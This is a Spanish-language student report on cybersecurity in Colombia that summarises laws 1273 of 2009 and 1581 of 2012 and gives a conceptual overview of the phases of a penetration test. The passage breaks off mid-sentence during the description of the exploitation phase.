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Resumen

se abordaron multiples aspectos relacionados con la ciberseguridad y la proteccion
de datos en Colombia. Comienza examinando la legislacion colombiana, en
particular las leyes 1273 de 2009 y 1581 de 2012, que establecen normativas sobre
la seguridad de los datos y los delitos informaticos. Se proporciona informacién
detallada sobre las sanciones previstas y la entidad encargada de hacer cumplir
estas leyes. Ademas, se resalta la importancia de llevar a cabo evaluaciones de
seguridad y se enfoca en la ética en el ambito de la ciberseguridad. También se
analizan casos de cibercrimen para comprender mejor las amenazas. Asimismo, se
subraya la necesidad de una respuesta efectiva frente a amenazas cibernéticas,
haciendo hincapié en la configuracion de firewalls y la implementacion de registros
de auditoria. Para terminar, este documento enfatiza la relevancia de cumplir con la
legislacion vigente, mantener altos estandares éticos y estar preparados para

enfrentar desafios en constante evolucion en el entorno digital.
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Glosario

Superintendencia de Industria y Comercio (SIC): Una entidad encargada
de supervisar y hacer cumplir la ley de proteccion de datos personales en
Colombia, con funciones que incluyen la vigilancia, investigacion y sancién
de infracciones.

Habeas Data: Derecho que garantiza a las personas el control y la proteccion
de sus datos personales.

Pentesting (Test de Penetracion): Una evaluacion de seguridad que simula
un ataque cibernético para identificar vulnerabilidades en un sistema y
mejorar la seguridad.

CVE (Glosario de Vulnerabilidades y Exposiciones Comunes): Un
identificador unico asignado a vulnerabilidades de seguridad en software y
sistemas.

Exploit Database (Exploit-DB): Una plataforma en linea que proporciona
exploits y detalles técnicos relacionados con vulnerabilidades conocidas.

Ley 1581 de 2012: Una ley colombiana que regula la proteccion de datos
personales y establece los derechos y responsabilidades relacionados con el
tratamiento de informacion personal.

Datos Sensibles: Informacién personal que se refiere a aspectos privados
de la vida de una persona, como su salud, orientacion sexual, creencias
religiosas, entre otros.

Registro Nacional de Bases de Datos: Un registro publico en Colombia
donde las entidades deben registrar sus bases de datos que contienen
informacion personal, como parte de su cumplimiento con la Ley 1581.

COPNIA: El Consejo Profesional Nacional de Ingenieria (COPNIA) es la
entidad encargada de supervisar la ética y el cumplimiento de normas
profesionales para los ingenieros en Colombia.

Cadigo de Etica: Un conjunto de principios y normas que rigen la conducta
ética de una profesion o grupo profesional.

Cibercrimen: Delitos o actividades ilegales realizadas en el ambito
cibernético, que incluyen el acceso no autorizado a sistemas, el robo de datos
personales, el fraude en linea y mas.



Ejercicio de Red Team: Una simulacion de ataque cibernético autorizado en
la que un equipo de seguridad evalua la resistencia de una organizacion a
las amenazas cibernéticas.

Amenazas Cibernéticas: Riesgos y peligros relacionados con la seguridad
en linea que pueden afectar a una organizacién, como ataques de hackers,
malware y ciberataques.

Ingenieria Social: Técnicas utilizadas para manipular a las personas y
obtener informaciéon confidencial, como contrasefas, a través de la
interaccion social.

Escaneo de Red: Proceso de exploracion de una red para identificar
dispositivos y servicios disponibles.

Vulnerabilidad: Una debilidad en un sistema o aplicaciéon que puede ser
explotada por un atacante para comprometer la seguridad.

Pruebas de Penetracion: Evaluacion ética de sistemas y aplicaciones para
identificar y explotar vulnerabilidades con el objetivo de fortalecer la
seguridad.

Escalada de Privilegios: Obtener un mayor nivel de acceso o control en un
sistema comprometido, a menudo desde un nivel de usuario a un nivel de
administrador.

DLL Hijacking: Vulnerabilidad que permite a un atacante ejecutar codigo
malicioso secuestrando archivos DLL.

Firewall: Un sistema de seguridad que controla el trafico de red para proteger
una red o sistema contra amenazas no autorizadas.

Antivirus: Software disefado para detectar y eliminar malware y otras
amenazas cibernéticas.

Acceso Remoto: La capacidad de acceder y controlar un sistema de forma
remota desde otro lugar.

Metasploit: Una herramienta de cddigo abierto utilizada para desarrollar y
ejecutar exploits contra sistemas vulnerables.

Parches de Seguridad: Actualizaciones disefadas para corregir
vulnerabilidades y mejorar la seguridad de un sistema o software.



Introduccién

Este documento abarca multiples etapas relacionadas con la ciberseguridad y la
proteccion de datos en Colombia. Se inicia con un enfoque en la legislacion
colombiana, incluyendo la Ley 1273 de 2009 y la Ley 1581 de 2012, que regulan la
proteccion de datos personales y los delitos informaticos. Se detallan las multas y
la entidad encargada de su regulacién. Ademas, se explora la importancia de las
evaluaciones de seguridad, la ética en la ciberseguridad y se analizan incidentes de
cibercrimen. También se destaca la necesidad de una respuesta eficaz ante
amenazas cibernéticas, con un enfoque en la configuraciéon de firewalls y la
implementacion de registros de auditoria. Estas etapas subrayan la importancia de
cumplir con la legislacion, mantener altos estandares éticos y estar preparados para
enfrentar amenazas cibernéticas en un entorno digital en constante evolucién.



1 Objetivos

1.1 Objetivo general

Formular estrategias de contencion mediante el analisis de riesgos vy
vulnerabilidades en una infraestructura TI.

1.2 Objetivos especificos

- Recopilar los datos obtenidos sobre el escenario HackerHouse.

- Listar los eventos encontrados y dar las sugerencias al respecto.

- Explicar la importancia de los equipos de blueteam y redteam y de las
politicas de seguridad.

- Sustentar el trabajo realizado dentro del curso mediante un video.
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Desarrollo del informe

2 Etapa 1 conceptos

Ley 1273 de 2009!

Articulo 1. Adicionase el Cdédigo Penal con un Titulo VII BIS denominado "De la
Proteccion de la informacion y de los datos", del siguiente tenor:

Capitulo primero

Articulo 269A. Acceso abusivo a un sistema informatico: Acceder ilegalmente
a un sistema informatico protegido, permanecer sin permiso o contra la voluntad del
legitimo usuario, resultara en una pena de prision de 48 a 96 meses y una multa de
100 a 1000 salarios minimos legales mensuales vigentes.

Articulo 269B. Obstaculizacién ilegitima de sistema informatico o red de
telecomunicacién. Quien interfiera ilegalmente con el funcionamiento de un
sistema informatico, acceso a datos o red de telecomunicaciones, enfrentara prision
de 48 a 96 meses y multa de 100 a 1000 salarios minimos, a menos que la accion
sea un delito con pena mayor.

Articulo 269C. Interceptacion de datos informaticos. Quien sin orden judicial
intercepte datos informaticos en su origen, destino o sistema, o las emisiones
electromagnéticas de un sistema informatico, enfrentara prision de 36 a 72 meses.

Articulo 269D. Daino informatico. Destruir, dafar, alterar o suprimir datos o
sistemas informaticos sin autorizacién resultara en prision de 48 a 96 meses y multa
de 100 a 1000 salarios minimos legales mensuales vigentes.

Articulo 269E. Uso de software malicioso. Producir, traficar, distribuir o poseer
software malicioso sin autorizaciéon conlleva prision de 48 a 96 meses y multa de
100 a 1000 salarios minimos legales mensuales vigentes.

Articulo 269F. Violacién de datos personales. Obtener, divulgar o usar
indebidamente datos personales sin autorizacion, para beneficio propio o de otros,

! Colombia, R. d. (5 de Enero de 2009). [Sitio Web]. SIC. Obtenido de LEY 1273 DE 2009 [consultado el 07 de
Octubre 2023]. Disponible en:
https://www.sic.gov.co/recursos user/documentos/normatividad/Ley 1273 2009.pdf
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resultara en prision de 48 a 96 meses y multa de 100 a 1000 salarios minimos
legales mensuales vigentes.

Articulo 269G. Suplantacion de sitios web para capturar datos personales.
Disefar, desarrollar, traficar o enviar contenido web ilicito sin autorizacion conlleva
pena de prisién de 48 a 96 meses y multa de 100 a 1000 salarios minimos legales
mensuales vigentes, a menos que sea un delito mas grave. Modificar el sistema de
nombres de dominio para engafiar al usuario también resultara en la misma pena,
agravada hasta la mitad si hay reclutamiento de victimas en la cadena del delito.

Articulo 269H. Circunstancias de agravacion punitiva: Las penas por conductas
descritas en este titulo se incrementaran de la mitad a tres cuartas partes en el
siguiente caso:

establece que cometer acciones en redes estatales o financieras, realizadas por
servidores publicos en ejercicio, con intencion de aprovechar la confianza, divulgar
informacion perjudicial, obtener beneficios o fines terroristas, incluso utilizando a
terceros inocentes, puede acarrear sanciones. Si el responsable controla la
informacion, podria enfrentar hasta tres afos de inhabilitacion en campos
vinculados a sistemas informaticos. También se considera un delito obtener
ganancias para uno mismo o para otros, con objetivos terroristas 0 amenazando la
seguridad nacional, empleando a terceros confiables. Ademas, si quien lleva a cabo
estas acciones tiene responsabilidad en la administracién, manejo o control de la
informacion, podria ser inhabilitado hasta tres afos para ejercer profesiones
relacionadas con sistemas de informacion procesada con equipos computacionales.

Capitulo segundo
De los atentados informaticos y otras infracciones

Articulo 2691. Hurto por medios informaticos y semejantes. Quien, al sortear
medidas de seguridad informatica, realice la accién descrita en el articulo 239
mediante manipulacién de sistemas informaticos o suplantacién de usuario en
sistemas de autenticacidn, enfrentara las sanciones del articulo 240 de este Cddigo.

Articulo 269J: Transferencia no consentida de activos. Quien, buscando
beneficio econdmico, utilice manipulaciéon informatica u otros métodos similares
para lograr la transferencia no autorizada de activos perjudicando a otro, enfrentara
prision de 48 a 120 meses y multa de 200 a 1500 salarios minimos legales
mensuales vigentes, salvo delito mas grave. Esta misma pena se aplica a quienes
creen, posean o faciliten programas informaticos para cometer este delito o una
estafa. Si el monto involucrado excede 200 salarios minimos, la sancién se
incrementa en la mitad.
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Articulo 2. Adicionese al articulo 58 del Cédigo Penal con un numeral 17, asi:

Articulo 58 Circunstancias de mayor punibilidad. Las circunstancias de mayor
punibilidad incluyen el uso de medios informaticos, electronicos o telematicos para
cometer los delitos, a menos que ya estén contemplados de otra manera.

Ley 1581 de 20122
Objeto, ambito de aplicacion y definiciones

Articulo 1. El propésito de esta ley es establecer y garantizar el derecho de todas
las personas a acceder, rectificar y mantener actualizada la informacion que les
concierne en bases de datos y archivos. Ademas, busca salvaguardar otros
derechos y libertades constitucionales, en particular el derecho a la informacion,
como lo estipula la Constitucion Politica, particularmente en sus articulos 15 y 20.

Articulo 2. Esta ley abarca datos personales en bases de datos de entidades
publicas o privadas. Se aplica dentro de Colombia y también a tratamientos
extraterritoriales sujetos a legislacién colombiana por acuerdos internacionales.
Excluye bases de datos personales en ambito doméstico, seguridad nacional,
lavado de activos, inteligencia, informacién periodistica, entre otras. Los elementos
de proteccion de datos aplican a todas las bases, respetando limitaciones y reservas
legales. Si leyes especiales rigen bases excluidas, sus principios también se aplican
junto con los de esta ley.

Articulo 3. Conceptos fundamentales en esta ley incluyen:

e Autorizaciéon: La aprobacion previa, informado y expreso otorgado por el
Titular para acceder el tratamiento de sus datos personales.

e Base de Datos: Un ligado organizado de datos personales que estan sujetos
a ser procesados.

e Dato personal: La informacion propia a una persona natural identificable,
permitiendo su identificacion directa o indirecta.

e Encargado del Tratamiento: Persona o entidad que trata datos por cuenta
del Garante.

e Responsable del Tratamiento: Persona o entidad que concluye sobre el
tratamiento de los datos.
e Titular: Persona natural cuyos datos se tratan.

2 publica, D. a. (18 de Octubre de 2012) . [Sitio Web]. Funcion Publica. Obtenido de Ley 1581 de 2012. .
[consultado el 07 de Octubre 2023]. Diponible en:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma_pdf.php?i=49981
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¢ Tratamiento: Ordenamientos sobre datos, como recoleccion, provision, uso
y supresion.

Principios rectores
Articulo 4. Principios fundamentales para el tratamiento de datos personales son:

e Legalidad: El tratamiento debe cumplir la ley y regulaciones aplicables.

¢ Finalidad: Debe tener una razén legitima y comunicarse al titular.

e Consentimiento: Requiere autorizacion previa, informada y expresa del
titular, salvo mandato legal o judicial.

e Veracidad: Los datos deben ser precisos, completos y actualizados,
evitando informacién engafosa.

e Transparencia: El titular puede solicitar informacién sobre sus datos en
cualquier momento.

e Acceso restringido: El tratamiento se limita a personas autorizadas; datos
privados no pueden estar publicamente disponibles en Internet.

e Seguridad: Se deben implementar medidas técnicas y administrativas para
proteger los datos.

¢ Confidencialidad: Quienes participen en el tratamiento deben mantener la
reserva de la informacién, incluso después de su relaciéon con el proceso de
tratamiento.

Categorias especiales de datos

Articulo 5. Segun los términos de esta ley, los datos sensibles abarcan informacion
que involucra la privacidad del titular y cuyo uso inapropiado podria resultar en
discriminacion. Estos datos incluyen aspectos como el origen étnico, las creencias,
las afiliaciones politicas, el estado de salud, la vida sexual y los datos biométricos.
La proteccidn de estos tipos de datos es de especial importancia para preservar la
dignidad y la igualdad de las personas en diversos contextos.

Articulo 6. El tratamiento de datos sensibles esta prohibido, excepto en casos de:

e Autorizacion explicita del titular, a menos que la ley no requiera autorizacion.

e Proteccion del interés vital del titular cuando esté incapacitado fisica o
legalmente, con autorizacion de representantes legales.

e Actividades legitimas de organizaciones sin fines de lucro con objetivos
politicos, filosoficos, religiosos o sindicales, solo para sus miembros o
contactos regulares, sin divulgacion a terceros sin consentimiento.

e Reconocimiento, ejercicio o defensa de un derecho en un proceso judicial.

14



¢ Fines histédricos, estadisticos o cientificos, tomando medidas para anonimizar
a los titulares.

Articulo 7. Los derechos de nifios y adolescentes en el manejo de datos estan
asegurados. Solo se pueden usar sus datos si son publicos. El Estado y las escuelas
deben educar a padres sobre los riesgos de un mal uso de datos y fomentar el uso
seguro de la informacion de los menores. El Gobierno regulara esto en seis meses
tras la ley.

Derechos y condiciones de legalidad para el tratamiento de datos

Articulo 8. Los titulares de datos personales tienen los siguientes derechos:

e Conocer, actualizar y corregir sus datos ante los responsables del
tratamiento.

e Pedir prueba de la autorizacion dada, salvo excepciones legales.

¢ Solicitar informacion sobre el uso dado a sus datos por los responsables o
encargados del tratamiento.

e Presentar quejas ante la Superintendencia de Industria y Comercio por
violaciones a la ley.

e Revocar autorizaciones y solicitar eliminacion de datos si no se respetan
principios y garantias legales, en caso de comprobada infraccion.

e Acceder gratuitamente a sus datos tratados.

Articulo 9. Se requiere obtener el consentimiento previo e informado del titular para
llevar a cabo el procesamiento de datos, a menos que se apliquen excepciones
legales. Es esencial que esta autorizacion sea adquirida de manera que sea
referenciable en el tiempo futuro.

Articulo 10. No se necesita autorizacion del titular en los siguientes casos:

La obligacion de cumplir con las disposiciones de esta ley es necesaria al acceder
a datos personales sin autorizacion, en situaciones que incluyen la informacién
requerida por entidades publicas o judiciales en ejercicio de sus funciones, datos de
naturaleza publica, urgencias médicas o sanitarias, tratamientos permitidos por la
ley con fines histéricos, estadisticos o cientificos, y datos del Registro Civil de las
Personas.

Articulo 11. La informacién requerida por el titular puede ser proporcionada en

cualquier medio, incluso electronicamente, de manera facil de leer y sin obstaculos
técnicos. Debe coincidir completamente con la almacenada en la base de datos.
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El Gobierno Nacional definira cémo los responsables y encargados del tratamiento
deben suministrar esta informacion, considerando la naturaleza de los datos
personales. Esta regulacion se establecera en el aio siguiente a la promulgacién
de la ley.

Articulo 12. El responsable del Tratamiento debe informar claramente al titular al
solicitar la autorizacion, proporcionando lo siguiente:
e Descripcion del tratamiento de sus datos y su proposito.
e Opcionalidad de responder a preguntas relacionadas con datos sensibles o
datos de menores.
e Los derechos del titular.
¢ |dentificacion, direccion y contacto del responsable del Tratamiento.

El responsable debe guardar evidencia de este cumplimiento y, si el titular lo solicita,
proporcionarle una copia.

Articulo 13. La informacion que se ajuste a los criterios definidos por esta ley tiene
la posibilidad de ser entregada a:

e Los titulares, asi como también a sus herederos o representantes legales.

e Entidades publicas o administrativas en concordancia con su mandato legal
0 por mandato judicial.

e Terceros debidamente autorizados por el titular o conforme a las normativas
legales.

Procedimientos

Articulo 14. Los titulares o sus herederos tienen derecho a consultar su informacion
personal en cualquier base de datos, publica o privada. El responsable o Encargado
del Tratamiento debe proporcionar toda la informacion del registro individual o
vinculada a la identificacion del titular. La consulta se hara a través de los medios
establecidos por ellos, con posibilidad de dejar constancia.

La consulta debe ser atendida en un plazo de hasta 10 dias habiles. Si no es posible
cumplir en ese tiempo, se notificara al interesado con razones y nueva fecha, que
no podra exceder 5 dias habiles adicionales. En casos especiales, leyes o
reglamentos podrian establecer plazos mas cortos segun la naturaleza de los datos.

Articulo 15. Los titulares o sus herederos pueden presentar reclamos sobre
informacion incorrecta o incumplimiento de deberes ante el Responsable o
Encargado del Tratamiento, siguiendo estas pautas:
e Elreclamo se envia al Responsable o Encargado del Tratamiento, incluyendo
detalles del titular y los hechos del reclamo. Si es incompleto, se solicita
aclaracién en 5 dias. Si no se recibe informacion en 2 meses, se considera
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como desistimiento. Si el receptor no es competente, lo remite en 2 dias
habiles.

e Se agrega la leyenda "reclamo en tramite" en la base de datos en maximo 2
dias habiles, con motivo del reclamo, hasta su resolucién.

e El reclamo se atiende en 15 dias habiles, extendibles a 8 dias si se justifica
demora. Se informa al interesado sobre razones y nueva fecha.

Articulo 16. Previo a presentar una queja ante la Superintendencia de Industria y
Comercio, es necesario que el titular de los datos, o su heredero, complete el
procedimiento de consulta o reclamo directamente con el Responsable o Encargado
del Tratamiento.

Deberes de los responsables del tratamiento y encargados del tratamiento

Articulo 17. Los responsables del Tratamiento deben cumplir con los siguientes
deberes, ademas de otras disposiciones de la ley:

e Garantizar el ejercicio del derecho de habeas data del Titular en todo
momento.

e Solicitar y conservar copias de las autorizaciones otorgadas por el Titular.

¢ Informar al Titular sobre la finalidad de la recoleccion y sus derechos.

e Mantener seguridad de la informacién para evitar su alteracién, pérdida o
acceso no autorizado.

e Garantizar la veracidad, integridad y actualizacion de los datos suministrados
al Encargado del Tratamiento.

e Actualizar y corregir la informacion incorrecta ante el Encargado del
Tratamiento.

e Suministrar al Encargado solo los datos autorizados.

e \Velar por la seguridad y privacidad de la informacién del Titular ante el
Encargado del Tratamiento.

e Atender consultas y reclamos segun lo establecido en la ley.

e Tener un manual interno para el cumplimiento de la ley, atencion de consultas
y reclamos.

e Informar al Encargado si cierta informacion esta en disputa por parte del
Titular.

¢ Informar al Titular sobre el uso de sus datos.

e Informar a la autoridad de proteccion de datos sobre violaciones de
seguridad.

e Cumplir con instrucciones de la Superintendencia de Industria y Comercio.
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Articulo 18. Los Encargados del Tratamiento deben cumplir los siguientes deberes,
ademas de otras disposiciones de la ley:

e Garantizar el ejercicio del derecho de habeas data del Titular en todo
momento.

e Mantener seguridad de la informacion para evitar su alteracion, pérdida o
acceso no autorizado.

e Actualizar, corregir o eliminar datos segun lo establecido en Ila ley.

e Actualizar la informacion reportada por los Responsables del Tratamiento en
un plazo de cinco dias habiles.

e Atender consultas y reclamos de los Titulares segun lo establecido en la ley.

e Tener un manual interno para el cumplimiento de la ley y atencion de
consultas y reclamos.

e Registrar la leyenda "reclamo en tramite" en la base de datos.

¢ |Insertar la leyenda "informacion en discusién judicial" cuando notificado por
la autoridad competente.

e No circular informacion controvertida por el Titular y bloqueada por la
Superintendencia.

e Limitar el acceso a la informacion solo a quienes tengan autorizacion.

¢ Informar a la Superintendencia sobre violaciones a codigos de seguridad y
riesgos en la administracion de informacién de los Titulares.

e Cumplir instrucciones de la Superintendencia de Industria y Comercio.

e En caso de que la misma persona sea Responsable y Encargado del
Tratamiento, debe cumplir ambos conjuntos de deberes.

De los mecanismos de vigilancia y sancién

Articulo 19. La Superintendencia de Industria y Comercio supervisara el
cumplimiento de la ley de proteccion de datos personales a través de una
Delegatura para la Proteccion de Datos Personales. El Gobierno establecera una
estructura dentro de la Superintendencia para ejercer estas funciones en un plazo
de seis meses. La vigilancia de los datos personales regulados por la Ley 1266 de
2008 seguira las disposiciones de dicha norma.

Articulo 20. La Superintendencia de Industria y Comercio dispondra de los recursos
asignados en el Presupuesto General de la Nacion para llevar a cabo sus funciones
segun esta ley.

Articulo 21. La Superintendencia de Industria y Comercio tiene diversas funciones,

como supervisar el cumplimiento de las leyes de proteccion de datos, llevar a cabo
investigaciones y asegurar el derecho de habeas data, bloquear temporalmente
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datos en caso de riesgo para los derechos, promover los derechos relacionados con
el tratamiento de datos y emitir declaraciones para transferencias internacionales.
También administra el Registro Nacional Publico de Bases de Datos, sugiere ajustes
normativos y solicita colaboracion de entidades extranjeras en casos relevantes.
Ademas, realiza otras tareas designadas por la ley.

Articulo 22. La Superintendencia de Industria y Comercio, al identificar
incumplimientos de esta ley por parte de Responsables o Encargados del
Tratamiento, tomara medidas y aplicara sanciones. En casos no contemplados por
esta ley, se seguiran las normas del Codigo Contencioso Administrativo.

Articulo 23. La Superintendencia de Industria y Comercio cuenta con la autoridad
para implementar penalizaciones a los Responsables y Encargados del Tratamiento
de datos. Estas penalidades abarcan multas tanto a nivel individual como
institucional, la suspension temporal de actividades relacionadas con el manejo de
datos, la clausura temporal de operaciones y, en situaciones involucrando datos
sensibles, el cierre inmediato y definitivo de las actividades. Es importante destacar
que estas medidas sancionadoras son aplicables a entidades privadas. En el caso
de incumplimientos provenientes de entidades publicas, la Superintendencia
remitird el asunto a la Procuraduria General de la Nacién para llevar a cabo una
investigacion.

Articulo 24. Las sanciones por infracciones a la ley se graduaran teniendo en
cuenta varios criterios, cuando sean aplicables:

e La magnitud del dafio o riesgo a los intereses protegidos por la ley.

e Ellucro obtenido por el infractor o terceros debido a la infraccion.

e La reincidencia en la comision de la infraccién.

e La resistencia, negativa u obstruccion a la investigacion o supervision de la
Superintendencia.

e La negativa o desobediencia a las 6rdenes de la Superintendencia.

e La admisién de culpa por parte del infractor antes de la imposicion de la
sancion correspondiente.

Articulo 25. El Registro Nacional de Bases de Datos, bajo la supervision de la
Superintendencia de Industria y Comercio, es un repositorio publico que alberga
informacion acerca de las bases de datos sujetas a Tratamiento dentro del pais.
Este recurso es de libre acceso para todos los ciudadanos.

A fin de registrar bases de datos en este sistema, aquellos interesados en hacerlo
deben suministrar a la Superintendencia sus politicas de tratamiento de informacion.
Estas politicas, que seran de caracter obligatorio para los responsables y
encargados del Tratamiento, deben cumplirse. El incumplimiento de estas politicas
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conllevara a la aplicacién de sanciones. Cabe mencionar que estas politicas deben
ser, al menos, igual de rigurosas que los deberes establecidos por la ley.

En un plazo de un afo a partir de la promulgacién de la ley, el Gobierno Nacional
establecera regulaciones que detallaran aspectos del Registro, tales como la
informacion esencial que se requiere y los términos para la inscripcion de los
Responsables del Tratamiento.

Articulo 26. La transferencia de datos personales a paises que no cumplan con
niveles adecuados de proteccidn segun los estandares de la Superintendencia de
Industria y Comercio esta prohibida, los cuales deben ser iguales o superiores a los
establecidos por la ley. Existen excepciones a esta prohibicion en determinadas
situaciones:
e Cuando el Titular haya otorgado autorizacion expresa e inequivoca para la
transferencia.
e En el caso de intercambio de datos médicos por razones de salud publica.
e Para transferencias bancarias o bursatiles segun la legislacion aplicable.
e En acuerdos de transferencia en tratados internacionales en los que
Colombia participe.
e Cuando la transferencia sea necesaria para cumplir un contrato con el Titular
o0 medidas precontractuales con su autorizacion.
e En transferencias legalmente exigidas para el interés publico o para el
ejercicio de derechos en procesos judiciales.

La Superintendencia de Industria y Comercio tendra la facultad de emitir
declaraciones de conformidad para transferencias internacionales de datos y podra
requerir informacion y realizar investigaciones para verificar el cumplimiento de los
requisitos.

Estas disposiciones se aplican a todos los datos personales, incluyendo los
contemplados en la Ley 1266 de 2008.

Articulo 27. EI Gobierno Nacional emitira regulaciones para establecer Normas
Corporativas Vinculantes que certifiquen las buenas practicas en proteccion de
datos personales y su transferencia a terceros paises.

Articulo 28. Las personas que actualmente realizan actividades reguladas por esta
ley tendran un periodo de hasta seis (6) meses a partir de su entrada en vigencia
para ajustarse a sus disposiciones.

Articulo 29. La presente ley anula todas las disposiciones que sean contrarias a
ella, excepto aquellas especificadas en el articulo 2°.
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v El pentesting es un proceso de gran vitalidad en el campo de la
ciberseguridad, por este motivo usted debe definir cada etapa del
pentesting, pero tiene que especificar con mayor detalle la etapa de
footprinting, de qué trata esta etapa, ¢ qué aplicaciones (Opensource y
pagas) podria utilizar para este proceso? ;Y por qué piensa que es una
de las etapas mas importantes dentro del pentesting?

¢ Qué es el Pentesting?

El Pentesting, o test de penetracidn, es una evaluacion de seguridad informatica
que identifica posibles fallos en un sistema y su alcance. Combina "penetration" y
"testing". Se simula un ataque cibernético para evaluar y superar los sistemas de
seguridad de una organizacion. Los resultados se entregan en un informe para
implementar mejoras y fortalecer la ciberseguridad. Es eficaz para evaluar defensas
empresariales y mejorar la seguridad.®

Las cinco fases del Pentesting® son:

¢ Recopilacion y planificacion.
¢ Analisis de vulnerabilidades.
e Modelado de amenazas.
e Explotacién del sistema.
e Elaboracion de los informes.

Recopilacion Y Planificacion

La primera fase del Pentesting, también conocida como fase de planificacion, es un
componente crucial en la evaluacion de la seguridad informatica de una
organizacion. En esta etapa, se establecen los cimientos para llevar a cabo un
analisis exhaustivo y detallado de la infraestructura de Tl y los sistemas de
seguridad de una empresa. A continuacién, se detallan los principales aspectos de
esta fase:

o Definicion de Objetivos: En esta etapa inicial, se trabajard en estrecha
colaboracién con la empresa para establecer claramente los objetivos y
alcance del Pentesting. Esto puede incluir determinar qué sistemas

3 NOWAK, S. (28 de Noviembre de 2022). [Sitio Web]. nuclio. Obtenido de ¢ Qué es el Pentesting? [consultado
el 07 de Octubre 2023]. Disponible en: https://nuclio.school/que-es-el-pentesting/

4Hernandez, M. (21 de Marzo de 2022). [Sitio Web]. ciberseguridad bidaidea. Obtenido de ¢Cuél son la 5 Fases
del Pentesting? [consultado el 07 de Octubre 2023]. Disponible en: https://ciberseguridadbidaidea.com/fases-

del-pentesting/
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especificos seran evaluados, cuales son las areas criticas de enfoque y qué
se espera lograr con el ejercicio de prueba de penetracion.

Seleccion de Sistemas y Métodos: Se identifican los sistemas, redes o
aplicaciones que seran sometidos al Pentesting. Esta seleccion puede
basarse en la importancia estratégica de los activos, la probabilidad de
vulnerabilidades y la exposicion al riesgo. Ademas, se definen los métodos y
técnicas que se utilizaran durante el proceso de evaluacién, como pruebas
de intrusion externa o interna, analisis de vulnerabilidades, explotacion de
brechas, entre otros.

Recopilacion de Datos: En esta fase, se recolecta informacion relevante
sobre la organizacion, sus sistemas, redes, infraestructura y empleados. Esto
puede incluir detalles técnicos sobre servidores, puertos abiertos, direcciones
IP, dominios, informacion de contacto, estructura de red y otros datos
relevantes. La recopilacién de informacion es esencial para comprender el
entorno de seguridad y planificar de manera efectiva el Pentesting.

Técnicas de Recopilacion: La recopilacion de datos puede involucrar una
variedad de técnicas y herramientas. Esto puede incluir escaneos de IP y
puertos para identificar puntos de entrada posibles, obtencion de metadatos
de documentos y archivos expuestos en linea, busqueda de informacion
sensible a través de técnicas de Google Hacking o Dorking, y el uso de
herramientas como Nmap para descubrir dispositivos en una red o SubFinder
para encontrar subdominios.

Preparacion del Entorno: Ademas de la recopilacion de datos, esta fase
también puede implicar la preparacion del entorno de Pentesting. Esto podria
incluir la configuracion de sistemas de prueba, la instalacion de herramientas
y software necesarios, y la creacion de un entorno aislado y seguro donde se
llevaran a cabo las pruebas.

Analisis De Vulnerabilidades

En la segunda fase del Pentesting, conocida como la fase de exploraciéon y analisis,
se profundiza en la evaluacion de la seguridad de los sistemas de una organizacion.
Esta etapa es esencial para descubrir las debilidades potenciales y evaluar la
efectividad de las defensas cibernéticas ante un posible ataque. A continuacion, se
proporciona una ampliacion de esta fase:

Simulaciéon de Intrusién: En esta etapa, los expertos en seguridad
cibernética intentaran replicar las tacticas de un atacante real. A través de
una serie de pruebas controladas, se simulan posibles métodos de intrusion
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que un atacante podria utilizar para acceder a la red, sistemas o aplicaciones
de la organizacion.

¢ Identificaciéon de Puntos Débiles: Se realizan pruebas activas y pasivas
para identificar y explorar vulnerabilidades en los sistemas. Las pruebas
activas pueden incluir el uso de herramientas de escaneo de vulnerabilidades
para identificar debilidades conocidas en la infraestructura. Las pruebas
pasivas implican el monitoreo de la red para identificar informacion sensible
que se esté transmitiendo sin cifrado o cualquier otra actividad sospechosa.

¢ Analisis de Vulnerabilidades: Los resultados de las pruebas se analizan
minuciosamente para evaluar la gravedad de las vulnerabilidades
identificadas y su impacto potencial en la seguridad de la organizacién. Esto
permite a los expertos en seguridad priorizar las vulnerabilidades segun su
nivel de riesgo y potencial de explotacién.

e Evaluacion de Escenarios de Ataque: Los especialistas en seguridad
cibernética pueden crear y evaluar diversos escenarios de ataque para
comprender como podrian ser explotadas las vulnerabilidades identificadas.
Esto ayuda a la organizacion a comprender mejor las posibles consecuencias
de una intrusion y a tomar medidas proactivas para mitigar los riesgos.

e Determinacion del Alcance Definitivo: Basandose en los resultados
obtenidos en la fase de exploracién y analisis, se puede refinar y definir
definitivamente el alcance del Pentesting. Esto implica establecer qué
sistemas, aplicaciones o areas especificas seran objeto de pruebas
adicionales y como se abordaran las debilidades identificadas.

e Generacién de Informe Intermedio: A medida que se realizan pruebas y se
obtienen resultados, se puede generar un informe intermedio que destaque
las vulnerabilidades criticas encontradas hasta el momento. Esto permite a
la organizacion tomar medidas iniciales para abordar las amenazas mas
urgentes antes de que finalice el Pentesting completo.

Modelado De Amenazas

En la tercera fase del Pentesting, conocida como la fase de explotacion y modelado
de amenazas, se lleva a cabo la ejecucion controlada de ataques dirigidos a las
vulnerabilidades previamente identificadas en la infraestructura de wuna
organizacion. Esta etapa es esencial para comprender como podrian ser explotadas
las debilidades y evaluar la capacidad del sistema para defenderse contra
amenazas reales. A continuacion, se proporciona una expansion de esta fase:
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Desarrollo de Escenarios de Ataque: En esta etapa, los expertos en
seguridad cibernética disefian y desarrollan escenarios de ataque
especificos basados en las vulnerabilidades detectadas. Estos escenarios
pueden incluir técnicas de explotacion como inyecciones SQL, ataques de
fuerza bruta, manipulacion de sesiones y otros métodos que un atacante real
podria emplear.

Ejecucion Controlada de Ataques: Los especialistas en seguridad
cibernética implementan los escenarios de ataque disefiados en entornos
controlados y aislados, asegurandose de no causar dafo real a los sistemas
de la organizacion. Durante esta fase, se monitorizan de cerca las respuestas
del sistema ante los ataques y se registran los resultados obtenidos.

Modelado de Amenazas y Evaluacion de Respuestas: A medida que se
realizan los ataques controlados, se evalua como el sistema responde a cada
uno de ellos. Se observa si las defensas cibernéticas son capaces de
detectar, bloquear o mitigar eficazmente los ataques. Esta informacion
permite modelar las posibles amenazas y entender cébmo podrian afectar a
la organizacion en un entorno real.

Identificacion de Rutas de Acceso y Propagacion: En algunos casos, los
ataques exitosos podrian proporcionar a los expertos en seguridad
cibernética acceso a sistemas internos o areas sensibles de la red. Esto
permite evaluar la facilidad con la que un atacante podria moverse
lateralmente y propagar su presencia en la infraestructura.

Recopilacién de Evidencia: Durante la ejecucién de los ataques, se recopila
informacion detallada sobre como se llevaron a cabo y los resultados
obtenidos. Esta evidencia sera esencial para respaldar las recomendaciones
y conclusiones que se incluiran en el informe final.

Definicion de Mejoras y Mitigaciones: Basandose en los resultados de los
